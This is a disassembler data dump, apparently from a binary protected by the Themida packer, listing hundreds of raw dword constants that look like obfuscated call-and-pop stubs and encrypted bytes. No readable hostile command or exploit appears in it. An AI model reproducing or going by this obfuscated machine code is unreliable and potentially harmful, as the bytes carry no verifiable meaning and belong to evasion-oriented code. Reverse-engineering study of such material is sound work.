		dd 830623C3h, 151115BDh, 840F0006h, 533h, 12E8h, 3EBAEC00h
		dd 0B6EE40E4h, 419D5532h, 23BCEFD6h, 66FDFF53h,	5FEA9ABFh
		dd 1115BD83h, 0F010615h, 52584h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 95896021h
		dd 6150829h, 1D498D01h,	83610615h, 151115BDh, 860F0306h
		dd 4B8h, 0DF8B6652h, 6A605Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 793820C3h, 5B4EF101h
		dd 8B6601DFh, 0D98C66FAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 6C35141h, 5EB5B6ABh, 6E0CE8F9h, 8E8D4h
		dd 8F9D0000h, 82E2090h,	0BF66F0B5h, 0E85F76ECh,	10h, 0C7F311B5h
		dd 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 10D2BB66h,	4E1805Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EC35040h
		dd 8162CFF0h, 13CFA3EFh, 419D8918h, 0A061503h, 5B840FC9h
		dd 89000001h, 150BE995h, 9D858B06h, 66061524h, 0B5CEE381h
		dd 19B58533h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B50F2C3h, 240489D8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A1C35747h, 6236DF1Ah
		dd 6AA3E780h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E813FE9Dh, 4, 1F03FFh, 0E8605250h
		dd 9, 0F72B8B5Ch, 0D1DFEB86h, 8B665EC8h, 310F61D8h, 9E8h
		dd 6CF5B400h, 833A0180h, 830F1FDAh, 0
		dd 50585A5Fh, 1DEDC3BBh, 24448B7Eh, 8DBB6604h, 0B3008B39h
		dd 24448989h, 0F26EBB04h, 6A581FB5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 27BAC350h
		dd 0D87DD66Fh, 0DE86C0EAh, 5E8h, 0C7282400h, 6060A7EFh
		dd 0CDBD8961h, 6106150Ch, 0AD95FF5Bh, 0E906150Dh, 13h
		dd 0D4A0D40Ch, 7D98DE54h, 58A85DFAh, 6D9BDDFCh,	89234465h
		dd 18BF9985h, 65BD2B06h, 0E9061508h, 213h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h, 23410055h
		dd 858B97C6h, 618BF91h,	8E8h, 7A226F00h, 47620DBDh, 69BD895Bh
		dd 5F061500h, 1800C7h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 3C0222C3h, 85D46F95h
		dd 1DBD0351h, 8B061516h, 18BF95B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0D8E53E9Dh
		dd 0F19D8942h, 0F061509h, 680h,	0F99D8B00h, 8B061511h
		dd 150C4585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 3E65DF9Fh, 7DA442FDh, 99BD8B6Eh
		dd 8B061508h, 1503219Dh, 0F068906h, 858BD9B7h, 615249Dh
		dd 169D9529h, 46890615h, 10E804h, 9CE70000h, 697A3667h
		dd 22BF7A14h, 9D8E62EAh, 810FB44Ch, 6, 2072F381h, 505F2C35h
		dd 6E9h, 3DE43100h, 893E4135h, 6A2434h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0AC7286C3h
		dd 43BBBB1Eh, 0FF6D1361h, 18BF91B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C72390E8h
		dd 66FA8B66h, 689846BBh, 0DD329E34h, 198E0Fh, 14E90000h
		dd 9B000000h, 14486627h, 1F1EE8CBh, 46C478A4h, 26B9DFC3h
		dd 8189A1D3h, 65CB2404h, 6A22ECh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0ED6799C3h, 0BF99858Dh
		dd 0E8500618h, 10h, 0DB3812D7h,	0E06846h, 0A0D5522h, 413E61C9h
		dd 2404895Fh, 53E38166h, 0AD95FF4Ah, 6A06150Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 4304C357h, 0FA729CA4h, 8D89605Ch, 615045Dh, 816AC681h
		dd 616168E5h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	3EC35545h, 0C70EB787h, 15111585h, 306h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD33E52Bh, 61517F1h, 0BF99BD83h, 0F000618h,	5B84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 309E551Dh, 0E9189BE2h, 4Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ABC35545h, 68E0Fh
		dd 9D010000h, 61516F1h,	1E91BD33h, 0BD890615h, 6153015h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8630C351h, 52006ACEh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 81A3C76Ch, 48B2EDE3h
		dd 12E93Ch, 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h
		dd 0BA6B39CDh, 1115BD83h, 0F030615h, 48085h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 68524FFEh, 6476914Ch, 13E9504Eh, 24000000h, 0D3ADAE3Eh
		dd 0CF210316h, 57B86C0Dh, 0DEEF686Bh, 8D093A81h, 6152309h
		dd 0BF99BD83h, 0F000618h, 43084h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BF66A1E4h
		dd 0B5FF2CCEh, 618BF99h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 16C35545h, 57A75B36h,	0F041AF20h, 10E195FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 97BBC3C3h, 7CB0363Dh, 0B58B918Ah,	618BF8Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 49C35545h
		dd 106C7BDh, 8B000100h,	1522D9BDh, 0D7B75006h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 6AE9C355h, 17482FA8h, 66BEA893h, 8E3FF381h
		dd 0BF99B5FFh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 2A2E92C3h, 5F2F7590h, 95096BA7h
		dd 6152789h, 6A195FFh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 749F17C3h, 0CE9h, 8BB8600h
		dd 6B29C3B8h, 0D1E7368Ah, 8DB58BE0h, 6A0618BFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0D71EC355h, 0DA8B66CFh, 10E8h, 392BA500h, 0D0E6F129h
		dd 0E2DB1458h, 716CF4E4h, 108A0F01h, 0E8000000h, 0Ah, 8108BAAEh
		dd 4514823Ch, 5B5B2588h, 59858Bh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 606EC9C3h
		dd 28658D29h, 0BD8B0615h, 6150641h, 0C4868961h,	29000000h
		dd 152D01B5h, 21958B06h, 0F061527h, 685h, 5858900h, 0F061517h
		dd 80h,	4C28300h, 76E78166h, 2050898Ah,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 71C35343h, 86BB725h
		dd 13E9h, 8C190300h, 7B462C1Bh,	7A44F6A3h, 24341E4Fh, 0C08DFCCh
		dd 0D458858Dh, 8B660618h, 0B88689D9h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 881EC355h, 96673CD4h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 28F816C3h, 2FEAE15Bh
		dd 1A159D89h, 0B5FF0615h, 618BF99h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 87C35343h, 0C878688Eh, 2EFB4599h
		dd 1D4D95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F82C55C3h, 99BD2B6Eh, 9606150Dh
		dd 94805EBFh, 0FC8A504Eh, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0ED1DA093h
		dd 0B5FF2298h, 618BF99h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 79C35747h, 29E0B5F8h,	1511C5BDh, 2995FF06h
		dd 6A061507h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 898BC352h, 1533E18Dh, 65BD8306h
		dd 61500h, 23840Fh, 0F98B0000h,	100D9D2Bh, 50500615h, 66310F52h
		dd 5A9C86BBh, 24348958h, 0BD895660h, 615302Dh, 0DAB70F5Bh
		dd 99B5FF61h, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0CF00C353h,	19EC2AF2h
		dd 4B96D67h, 229D8589h,	95FF0615h, 6150439h, 0BF99B5FFh
		dd 0BD8B0618h, 6150C09h, 0DCD95FFh, 81660615h, 835555EFh
		dd 15285DBDh, 840F0206h, 25h, 5E8h, 0AA327D00h,	9D8B377Bh
		dd 6150265h, 49858B5Fh,	8B061528h, 1508A1BDh, 0C606h, 0C2C383BFh
		dd 0F585C73Fh, 61523h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B1D8C350h
		dd 8937E61Eh, 15127D85h, 0F0B5E906h, 9D89FFFFh,	615300Dh
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 63B1D7C3h, 0E763490Fh, 0F3C78156h, 5F35ED8Ah
		dd 279D858Dh, 81660615h, 1363EE3h, 1509A19Dh, 0F509006h
		dd 87h,	0BD899000h, 6152B3Dh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 3F0F2C3h
		dd 739BDB9Bh, 8B44D163h, 0C59D8BDFh, 6A061503h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0E18D89B6h, 8D061506h, 19E99C85h, 0DE8B6606h, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 7982C351h, 107CF68Bh, 4CE78166h, 52509057h
		dd 12BF310Fh, 5A3B3DE0h, 0BB665058h, 6A90A72Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0D3B4C353h, 94328FCFh, 6ADE8B87h, 14DF8100h,	6A4E687Eh
		dd 0FFFE8B00h, 15267995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 32CC29EAh
		dd 0B6BFA923h, 8D5A47B4h, 189C158Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BD884DF8h
		dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0A310B1C3h, 0E6733075h, 60B3A532h, 2DB5BD83h
		dd 0F010615h, 9E85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B251AB97h, 872F2DA4h
		dd 8CE745BBh, 6A026A53h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F625C350h,	0E5BD8966h
		dd 89061518h, 1502CD8Dh, 0BF669006h, 0E9500B9Fh, 10h, 4C7475FFh
		dd 0FCB1867Dh, 7D5A5EE4h, 0FCC3DD34h, 99D0B90h,	0FF061525h
		dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0DD1AAF73h, 0E9F519D9h, 0D96h, 0E8h
		dd 0ED815D00h, 619E9A6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 244E307Ah, 0E3E4EF8Eh, 65BD8B86h
		dd 6A061526h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6E4CC351h, 858D8114h, 61888F9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8CC35343h
		dd 8B6650F9h, 240489DEh, 68C0Fh, 840F0000h, 0
		dd 6445CF81h, 0FF640BA2h, 35h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B3BF9147h
		dd 68F0FBCh, 81000000h,	0ADCA16E3h, 25896406h, 0
		dd 8A0Fh, 85010000h, 61520CDh, 153585FFh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 645B2C3h, 0C0B6FC9Bh, 0FF6A0352h, 0BD8BF98Bh, 6152D01h
		dd 2339B5FFh, 0FFF90615h, 1508BD95h, 11BE906h, 85090000h
		dd 615263Dh, 0EBB300B0h, 21BF70E6h, 0E40609BBh,	0E870F71h
		dd 0E9000000h, 9, 0AB2F018Fh, 0AC598889h, 0F613C4Fh, 0EC83h
		dd 0D1952900h, 89061526h, 15212985h, 0C8B60F06h, 69DF8166h
		dd 6BA7Eh, 0DE90000h, 2D000000h, 0EFAFEE6Bh, 30EAA87Fh
		dd 29D1CDEh, 0BD29C18Bh, 61507E5h, 8904E8C1h, 15043D95h
		dd 0E2F76606h, 8D0Fh, 0C82B0000h, 8509D18Bh, 61511C9h
		dd 98E9h, 31BF6600h, 4858BFFh, 0F000000h, 0C8Ah, 6850F00h
		dd 89000000h, 15116595h, 7C08306h, 419BD03h, 9D8B0615h
		dd 6150CE9h, 8B00C083h,	1505999Dh, 0FD03B06h, 1783h, 95BB6600h
		dd 2D9D03BFh, 0E906152Ah, 4Dh, 0F19D8B53h, 5B061509h, 0FFFF8D8Bh
		dd 0FB8BFFFFh, 0F01E183h, 3484h, 19BD8B00h, 8306150Dh
		dd 0FFFFFFA5h, 0BF66FEFFh, 0E960CE5Ah, 8, 0D50490h, 1E7EECC1h
		dd 2D358D03h, 89610615h, 495h, 0F8B70F00h, 0E9h, 0D4B58D00h
		dd 0E9061961h, 7, 4EE7CD66h, 6A17CB31h,	0F98B6600h, 2E2195FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0D2B144C3h, 0B70F5658h, 0D0B95BFEh, 8900000Fh
		dd 1513419Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 5AC35747h, 0E59D89FCh, 0FC061518h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 7A6E1AD6h
		dd 0B509A771h, 61519F1h, 0B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 98BF668Ch
		dd 0BA66h, 0D98A0000h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h
		dd 9AE40827h, 2860F33h,	8B000000h, 33E380D8h, 2155BD8Bh
		dd 880D0615h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F28C351h, 284h, 8BD88B00h
		dd 15272195h, 0CD8D8B06h, 0F061504h, 588h, 0E3805700h
		dd 8B505F77h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0F4B83CBFh, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A4B4B564h, 2375ACBFh
		dd 9D8BBFDAh, 6151611h,	18A9BD83h, 0F000615h, 4284h, 8284BF00h
		dd 0B87EC0h, 0BF000000h, 5289A917h, 4F9E8D8Dh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 68050CC3h, 55BBE9B9h, 0FF24E06Ch, 119D8BE1h,	83061518h
		dd 151115BDh, 840F0006h, 4D9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 91C35141h, 0F50985Bh, 689h
		dd 0F1D78100h, 91C8BFBh, 1512B595h, 15BD8306h, 1061511h
		dd 4B6840Fh, 0D88B0000h, 1115BD83h, 0F030615h, 47186h
		dd 0DE8B6600h, 6CD38160h, 660CF3E8h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8A4060C3h
		dd 8BCF647Dh, 4E180F9h,	27999529h, 0C90A0615h, 163840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0F53C1C3h, 280h, 5B5F5600h, 249D858Bh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0C2FDBEC3h, 6B005FF2h, 8533DA33h, 61519B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8BC35343h, 0FB5EE79Dh
		dd 0AE990h, 0FF2F0000h,	448706B9h, 0CE52AC5h, 0EBB5050h
		dd 5F046E08h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 6A54F6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 1CC35343h, 9BB8F0C1h, 799BD8Bh
		dd 7A680615h, 60F2AF86h, 0BD0FBF66h, 11E957h, 0A9090000h
		dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5E04378Fh, 24048161h
		dd 0D6F7D85h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0ACC35242h, 958B6027h, 61512D1h, 8018D29h, 0FF610615h
		dd 150DAD95h, 2D858906h, 8906152Ah, 18BF9985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 28E90545h, 81000002h, 48AD3ECBh, 91858B25h, 6A0618BFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 90E8C353h, 0FF20C723h, 0CE8h, 34A81900h
		dd 92BFAA5Eh, 2291E05Fh, 5E85F7Ch, 66000000h, 81A85C73h
		dd 2E1DBD89h, 0C75F0615h, 1800h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 6F7C8344h
		dd 168D0Fh, 0AE80000h, 0E1000000h, 0F09D6ACCh, 0DC55EBA4h
		dd 0F59D8B14h, 5F061500h, 0BF95B58Bh, 66600618h, 3EBFEE81h
		dd 858B61F9h, 6150C45h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C8C35040h, 0FEC5A0ABh, 9D315D8Bh, 6151CD9h
		dd 2A1DBD23h, 6890615h,	369B589h, 858B0615h, 615249Dh
		dd 41858960h, 0E8061502h, 5, 248FD1DCh,	896158F9h, 6A0446h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 7475FFC3h, 0B1867D4Ch, 50D98AFCh, 52958DBFh,	2434893Eh
		dd 8A9BD8Bh, 0B5FF0615h, 618BF91h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A5C35141h,	92857797h, 0DB589FDh
		dd 8906151Ah, 15267195h, 0EAB66806h, 59B38CB4h,	49240481h
		dd 6A736A19h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F26CC350h, 0D02500D9h, 8DDF8B66h
		dd 18BF9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A99D236Ch, 0E906152Ah, 0Ah, 19B88E57h
		dd 85671DBh, 6690984Dh,	508B15BFh, 5B525757h, 6A905B5Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F005C353h, 0F768633Ch, 2D95311Dh, 0FF06152Fh
		dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0BD07737Fh, 11B53178h, 61061516h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h
		dd 4199D8Bh, 85C70615h,	6151115h, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 11C35242h, 1ED07C36h, 0BF0F03F7h
		dd 835F56DBh, 18BF99BDh, 840F0006h, 4Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0E6C35747h, 0ADE1549Dh
		dd 0CADBD8Bh, 3AE90615h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3AD2C350h, 3050FF76h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1083F807h, 1AF36EC5h, 0FDB501D9h, 8A061528h,	4DBD0BFEh
		dd 6A061525h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0CEF7C355h, 3266BF66h,	21BD2B53h
		dd 5B061508h, 1115BD83h, 0F030615h, 3AA85h, 89BD8B00h
		dd 83061510h, 18BF99BDh, 840F0006h, 397h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 31C35141h, 981ECF2h
		dd 15243DBDh, 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F846C355h
		dd 8960F878h, 1509118Dh, 0D9BF0F06h, 0E195FF61h, 8B061510h
		dd 15143D9Dh, 8DB58B06h, 6A0618BFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9CFC353h
		dd 13h,	0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 0C7CD7CA9h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 264237DDh, 0BFF67816h, 21920FFBh
		dd 9689C380h, 0DE96050h, 0DC000000h, 0BA8E8909h, 0DEFAE468h
		dd 9D50BA26h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 239EC6C3h, 456781F5h, 0BF99B5FFh
		dd 0B5290618h, 6150321h, 6A195FFh, 0B58B0615h, 618BF8Dh
		dd 8BDF8B66h, 15005985h, 6CC38006h, 0C48689h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0EC294AC3h, 8B93E826h, 15272195h, 870F5706h,	6, 6F1B589h
		dd 835F0615h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0FBB2DEC3h, 8D296C2Dh, 61533D1h
		dd 11E9h, 801D6500h, 0C55A1688h, 688E87E0h, 4599C878h
		dd 50892EFBh, 8DDF8B20h, 18D45885h, 0BEB8106h, 8923E68Fh
		dd 0B886h, 6AD88B00h, 0FBBF6600h, 99B5FF05h, 0FF0618BFh
		dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0DA88F490h, 0FE9h, 0DB345300h, 0B36630C2h
		dd 77F96735h, 5D24B3A7h, 18D34DBFh, 6060501Dh, 5FCF8EB8h
		dd 0A9BE665Ah, 0E960619Eh, 9, 0E194C4D6h, 4EF7836Dh, 0CA8B6681h
		dd 34896161h, 0B69BF24h, 0B5FF0104h, 618BF99h, 272DBD8Bh
		dd 0BB660615h, 95FF32CAh, 6150729h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0F2C35141h,	660DAEDEh, 80D6FABBh
		dd 0BD8375EBh, 6150065h, 54840F00h, 0E8000000h,	10h, 6EB95786h
		dd 3326C5Fh, 74C2375Dh,	0A47139A3h, 72AAA8BBh, 870F5F1Ah
		dd 6, 7D4DF781h, 8950161Bh, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F1724C3h
		dd 7662828Ah, 65BD8937h, 0FF061529h, 18BF99B5h,	0C3816606h
		dd 95FF90E0h, 6150439h,	2CD19531h, 0B5FF0615h, 618BF99h
		dd 154C7ABFh, 0CD95FF17h, 8906150Dh, 151CB185h,	5DBD8306h
		dd 2061528h, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 227E28C3h, 0F1116333h
		dd 49858BFEh, 66061528h, 0BB66DF8Bh, 0C6CE1Ah, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8E98F02h, 0CE000000h, 11BA2114h, 0C70D148Ah,	1523F585h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 6E1DD302h, 0C4D450BBh, 81661862h
		dd 0E9DFA9F7h, 0FFFFF3BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0EAC35747h, 15B3C6B7h, 0B93E092Bh, 0D15FBFF7h
		dd 0C18B5E93h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	83C35040h, 119D2945h, 8006150Dh, 858D5ADBh, 615279Dh
		dd 2F8781BFh, 4895024h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 221C35C6h, 9DB58960h
		dd 8B061517h, 151889BDh, 6A6106h, 51B3B660h, 8E9h, 0A102B900h
		dd 0E81108AAh, 6A615BD4h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B6DD39B7h
		dd 2E1F48A7h, 0BF0DBF66h, 0F970858Dh, 6A0619h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 7D04F8C3h, 2672300Eh, 832ECB80h, 6A05C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F8D4A4C3h
		dd 45C03F46h, 5D9D8B6Ch, 50061501h, 8CBF6650h, 4895B92h
		dd 0D1858924h, 6A061500h, 81BD8B00h, 66061522h,	6ADE8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B5C35141h
		dd 0BC040921h, 2DBD8B66h, 0FF06152Dh, 15267995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DFF79AF0h, 0E270AD8Dh, 830FB35Bh, 9, 0BAF78A60h, 93907C5h
		dd 158D8D61h, 6A06189Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0DADFC357h,	619D89F3h
		dd 0BB061527h, 7E390C76h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 89633AC3h, 15021585h
		dd 4CBB5206h, 5F128478h, 18F59D8Bh, 0BD830615h,	6152DB5h
		dd 7C850F01h, 60000000h, 3820EA81h, 61F513B6h, 6A026Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4D7658C3h, 0F5050F8h, 28Ah, 5FFB8B00h, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 54B5C351h, 0FFCBBF19h, 151D4D95h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E917C760h
		dd 0DC3h
dword_5C93A4	dd 0E8h, 0ED815D00h, 619F97Ah, 0E853006Ah, 3, 5BC35B20h
					; DATA XREF: Themida_:00579B00o
					; Themida_:0057B730o
		dd 4245C89h, 4244481h, 16h, 0A7C35343h,	8D31279Ch, 6151A35h
